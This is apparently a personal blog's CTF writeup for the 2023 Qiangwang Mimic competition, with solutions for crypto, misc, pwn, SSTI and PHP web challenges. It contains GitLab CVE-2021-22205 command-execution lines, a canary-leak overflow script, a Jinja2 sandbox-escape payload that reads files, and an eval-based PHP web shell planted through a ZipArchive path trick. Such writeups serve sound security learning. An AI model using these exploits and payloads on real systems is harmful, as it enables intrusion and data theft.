iami233
iami233
文章175
标签37
分类4

文章分类

文章归档

强网拟态 2023 Writeup

强网拟态 2023 Writeup

写在前面

整体来说还算可以,不过有几个槽点:两道题需要去根据语义猜答案,吃了没文化的亏,另外不知道为什么车联网用原题,据其他师傅说今年第四次见到这三道题了…

Crypto

一眼看出

一眼看穿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import long_to_bytes
import gmpy2

n = 121027298948349995679677982412648544403333177260975245569073983061538581058440163574922807151182889153495253964764966037308461724272151584478723275142858008261257709817963330011376266261119767294949088397671360123321149414700981035517299807126625758046100840667081332434968770862731073693976604061597575813313
c = 42256117129723577554705402387775886393426604555611637074394963219097781224776058009003521565944180241032100329456702310737369381890041336312084091995865560402681403775751012856436207938771611177592600423563671217656908392901713661029126149486651409531213711103407037959788587839729511719756709763927616470267

a = gmpy2.isqrt(n)
b2 = gmpy2.sub(gmpy2.square(a), n)

while not gmpy2.is_square(b2):
a += 1
b2 = gmpy2.sub(gmpy2.square(a), n)

b = gmpy2.isqrt(b2)
p = gmpy2.sub(a, b)
q = gmpy2.add(a, b)

phi = gmpy2.mul(gmpy2.sub(p, 1), gmpy2.sub(q, 1))
d = gmpy2.invert(65537, phi)

m = pow(c, d, n)
flag = long_to_bytes(m)

print(flag.decode())
# flag{621f7c4f-21de-8566-649e-5a883ce318dc}

V2XSec

某地方企业内网中采用自己设计的车联网安全通信协议(Vehicle networking security communication protocol,VSCP)与车联网应用进行通信以实现控制车辆的目的,利用该协议接发的所有网络数据包均含有用户的身份。选手需要通过漏洞利用、数据包解析以及数据包伪造三个步骤完成攻击。

新型车联网安全网络协议破解(阶段一)

阶段一: 内网服务器漏洞利用

  1. 参赛选手利用VPN客户端可以登入内网服务器Server1,该内网服务器被安全团队指出拥有某种漏洞,但内网管理员仍未采取任何安全措施。
  2. Server1与车联网服务器Server2定时通信 (通信程序名为Vehicle Controller) ,通信时使用VSCP协议。
  3. 参赛选手需要挖掘并利用系统漏洞,获取Vehicle Controller程序的执行路径,执行路径下有flag,提交正确的flag即视为解题成功。
  4. VPN下载链接: 链接:https://share.weiyun.com/LGGUOBfj 密码:x9yuf8
  5. Server1的IP地址给出为: 172.18.0.4。

这题没啥好说的,从看到VPN的那一刻起就觉得眼熟,打开 IP 之后发现 Gitlab 就知道了… 确实是原题,IP都没变,具体操作参考我当年的文章 ISCC 2022 实战题 Writeup,这里贴一下主要执行命令,当年是找到 PID 号即可,这次是要求找到进程文件所在目录。

1
2
3
python .\CVE-2021-22205.py -a true -t http://172.18.0.4/ -c "ps -aux > /home/git/gitlab/public/assets/12222.txt"
python .\CVE-2021-22205.py -a true -t http://172.18.0.4/ -c "ls /proc/5452 -l > /home/git/gitlab/public/assets/12222.txt"
python .\CVE-2021-22205.py -a true -t http://172.18.0.4/ -c "cat /home/mping/flag > /home/git/gitlab/public/assets/12222.txt"

Misc

Welcome

欢迎大家参加第六届“强网”拟态防御国际精英挑战赛!
本场flag兑换凭证如下:ZmxhZ3tNaW1pY195eWRzJkcwZF9Kb0JfQ1RGZXJ+fQ==
预祝大家取得好成绩!

直接 Base64 解码即可

1
flag{Mimic_yyds&G0d_JoB_CTFer~}

国际象棋与二维码

你见过国际象棋的棋盘吗

国际象棋棋盘也是黑白两色,同时给出的附件也是黑白两色的正方形,直接尝试用 49 * 49 的棋盘和题目进行异或,得到正确的二维码

1
2
3
4
5
6
7
8
9
10
from PIL import Image

img = Image.new('RGB', (49, 49))
for x in range(49):
for y in range(49):
if (x + y) % 2 == 0:
img.putpixel((x, y), (255, 255, 255))

img = img.resize((500, 500), Image.NEAREST)
img.save('test.png')

image-20231111163341814

Mimic

拟态控制器

程序员小荆今年的任务是开发拟态控制器。他在nbctl命令中增加了一处密码认证,将其改造成认证密码后查询。Teamleader后期代码审查时发现其中有一处溢出漏洞,就干脆把这段代码拿出来做了个demo,初赛题目这不就来了吗。
仔细一想,黑盒赛赛题这不也来了吗。

现请提交该flag。

第一次泄露 canary,第二次覆盖返回地址低位

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'

io = remote("pwn-91ac7455dc.challenge.xctf.org.cn", 9999, ssl=True)

p = 40 * b'a' + b'^'
io.sendafter("ler query command:", p)
io.recvuntil("^")
canary = b'\0' + io.recv(7)
p = canary * 7 + p8(0x0a)
io.send(p)

io.interactive()

Tbox Can

智能网联车上WIFI的密码常常通过can报文传输,请分析can报文,提取WIFI密码,flag的格式为 flag{password}

下载附件得到一个表格,看不懂一点,随手把 Data 里的数据全都复制出来转换了一下,发现没毛病,主要的数据在 0x000000000000061A 这个 CAN ID 里面

image-20231111193419521

提交半天不对,最后根据语义和大量提交得出最终 flag

1
flag{L0GIC_ANALYSIS_FOR_FUN}

find me and crack me

题目中存在隐藏的说明文档,获取并解密此文档后,即可按照提示获取flag

打开环境发现注释里存在密文和密钥

1
2
KEY:N2RlMzhmM2MzZDNiYWE3Y2E1OGEzNjZmMDk1Nzc1ODY=
encrypt word: YWY2NTRiZTc5ZjkyNGE2ZDA3MGFlYjE5ZWMxN2U4Y2NjMTJkNWExYWY2NTc0YzE4YmMyYzI3YWFkZjZmZjRhN2Y4ZDUwOTBmMTVkNDBiM2Y2ZTFhMzIxMDNmOGMwMjgxNmJmZTMzMTY4ZGFmNzJkMzBiOTAwMTgxYzliMGQ5MGEyNmNmNDZiZGUyNjA4NDE5YWM1MmE0NmVjZDQwYjlhZWYwMzczYjcyODExNTg0YzE3MjJmYzU4Y2NmYjhlYzM4N2RmZTc2ODRjOTIzYWVlMWM1ZGU0NWI5NDIxMThjYjBjMGYwYzIwNWJkODA0N2M3MjczY2RiYjYwNWQwMzMxNzcwZjk3NDM0M2ZhN2FiNjQ1YWVkMzQ2MjRkMzQ5ODRkODU2YWY2MzkwMWUxZDU0MjFjMWRmZDcyMjUxZDBkOTU=

Base64解码后得到

1
2
KEY:7de38f3c3d3baa7ca58a366f09577586
encrypt word: af654be79f924a6d070aeb19ec17e8ccc12d5a1af6574c18bc2c27aadf6ff4a7f8d5090f15d40b3f6e1a32103f8c02816bfe33168daf72d30b900181c9b0d90a26cf46bde2608419ac52a46ecd40b9aef0373b72811584c1722fc58ccfb8ec387dfe7684c923aee1c5de45b942118cb0c0f0c205bd8047c7273cdbb605d0331770f974343fa7ab645aed34624d34984d856af63901e1d5421c1dfd72251d0d95

将 KEY 进行 md5 解密后得到 secrets,然后对 encrypt word 进行 DES 解密

1
2
3
4
5
6
7
8
1.maybe used first url get random:
/mimic_storage

2.maybe used second url get flag:
/getflag?sec=random&path=xxxx

xxx is:
MVhuOtClaoE5899iOuiSWkvqxsrRimmb

image-20231111220355321

剩下的就没啥好说的了,根据题目提示挨个访问即可得到 flag

1
/getflag?sec=[/mimic_storage获取的random]&path=MVhuOtClaoE5899iOuiSWkvqxsrRimmb

用户登记系统

小张同学学习了拟态防御理论,利用刚学会了web开发技术,开发一个用户信息登记系统的demo,你能找漏洞吗?
(flag全部为小写,flag文件在/tmp/目录下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import random
from flask import Flask, request, render_template_string, abort, redirect
import string

white_list = string.ascii_letters + string.digits + '()_-{}."[]=/'
#mimic-defense-31919-heterogeneous
#mimic-defense-29414-heterogeneous
black_list = ['codecs', 'system', 'for', 'if',
'end', 'os', 'eval', 'request', 'write',
'mro', 'compile', 'execfile', 'exec',
'subprocess', 'importlib', 'platform', 'timeit',
'import', 'linecache', 'module', 'getattribute',
'pop', 'getitem', 'decode', 'popen',
'ifconfig', 'flag', 'config', 'cat']

app = Flask(__name__)
#mimic-defense-94180-heterogeneous


@app.after_request
def modify_headers(response):
random_str = ['PHP/7.3.33', 'PHP/7.4', 'PHP/7.2', 'PHP/8.2']
response.headers['X-Powered-By'] = random.choice(random_str)
return response


def check(s):
#mimic-defense-86550-heterogeneous
# print(len(s))
# if len(s) > 131:
if len(s) > 478:
abort(500, 'u are hacker')
# abort(500, 'hacker len')
for i in s:
if i not in white_list:
abort(500, 'u are hacker')
# abort(500, 'hacker white')
for i in black_list:
if i in s:
abort(500, 'u are hacker')
# abort(500, 'hacker black')
#mimic-defense-26568-heterogeneous


@app.route('/')
def redirectIndex():
return redirect('/index.php', 302)


@app.route('/index.php', methods=['GET', 'POST'])
def hello_world():
#mimic-defense-7691-heterogeneous
#mimic-defense-50975-heterogeneous
template = '''
<h1>用户登记系统</h1>
<form method='POST'>
<label for='name''输入用户名称:'/label>
<input type='text' id='name' name='name'>
<input type='submit' value='Submit'>
</form<

{% if name %}
<p>您好, {{ name }} 已登记!</p>
{% endif %}
'''
if request.method == 'POST':
try:
print(request.form)
name = request.form.get('name')
except Exception:
return render_template_string('<h1>需要name参数</h1>')

if name == '':
#mimic-defense-81766-heterogeneous
return render_template_string('<h1>请输入用户名!</h1>')

check(name)
template = '<h1>您好, {}已登记!!</h1>'.format(name)
res = render_template_string(template)
if 'flag' in res:
#mimic-defense-31218-heterogeneous
abort(500, 'u are hacker')
#mimic-defense-55651-heterogeneous
return res
return render_template_string(template)


if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True)

通过测试发现只有这几个 ()_-{}."[]=/ 符号可以使用,另外 os 模块被过滤,我们直接通过 __builtins__ 绕过后通过数组一位一位的读取,具体 Payload 如下,写脚本去遍历即可,同时测试发现前 570 位均为垃圾字符,可以从 570 开始爆破

1
{{[].__class__.__base__.__subclasses__()[103].__init__.__globals__.__builtins__["open"]("/tmp/fla""g").read()[位数]}}

爆破最终得到,很明显缺位,根据语义补上一个 n} 发现没问题

1
flag{u_win_have_fu

Web

noumisotuitennnoka

noumisotuitennnoka

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
highlight_file(__FILE__);
$dir = '/tmp';
$htContent = <<<EOT
<Files "backdoor.php">
Deny from all
</Files>
EOT;
$action = $_GET['action'] ?? 'create';
$content = $_GET['content'] ?? '<?php echo file_get_contents("/flag");@unlink(__FILE__);';
$subdir = $_GET['subdir'] ?? '/jsons';

if(!preg_match('/^\/\.?[a-z]+$/', $subdir) || strlen($subdir) > 10)
die("....");

$jsonDir = $dir . $subdir;
$escapeDir = '/var/www/html' . $subdir;
$archiveFile = $jsonDir . '/archive.zip';


if($action == 'create'){
// create jsons/api.json
@mkdir($jsonDir);
file_put_contents($jsonDir. '/backdoor.php', $content);
file_put_contents($jsonDir.'/.htaccess',$htContent);
}
if($action == 'zip'){
delete($archiveFile);
// create archive.zip
$dev_dir = $_GET['dev'] ?? $dir;
if(realpath($dev_dir) !== $dir)
die('...');
$zip = new ZipArchive();
$zip->open($archiveFile, ZipArchive::CREATE);
$zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->close();
}
if($action == 'unzip' && is_file($archiveFile)){
$zip = new ZipArchive();
$zip->open($archiveFile);
$zip->extractTo('/');
$zip->close();
}
if($action == 'clean'){
if (file_exists($escapeDir))
delete($escapeDir);
else
echo "Failed.(/var/www/html)";
if (file_exists($jsonDir))
delete($jsonDir);
else
echo "Failed.(/tmp)";
}

function delete($path){
if(is_file($path))
@unlink($path);
elseif (is_dir($path))
@rmdir($path);
}

利用 PHP ZipArchive::addGlob即可,具体参考 嘘つきPHP ZipArchive::addGlobと壊れたファイルパス,最后访问 backdoor.php 即可执行命令

1
2
3
4
?action=create&subdir=/sh&content=<?php eval($_GET[1]);&dev=/tmp//
?action=zip&subdir=/sh&content=<?php eval($_GET[1]);&dev=/tmp//
?action=unzip&subdir=/sh&content=<?php eval($_GET[1]);&dev=/tmp//
?action=clean&subdir=/.htaccess&content=<?php eval($_GET[1]);&dev=/tmp//
本文作者:iami233
本文链接:https://5ime.cn/mimic-2023.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可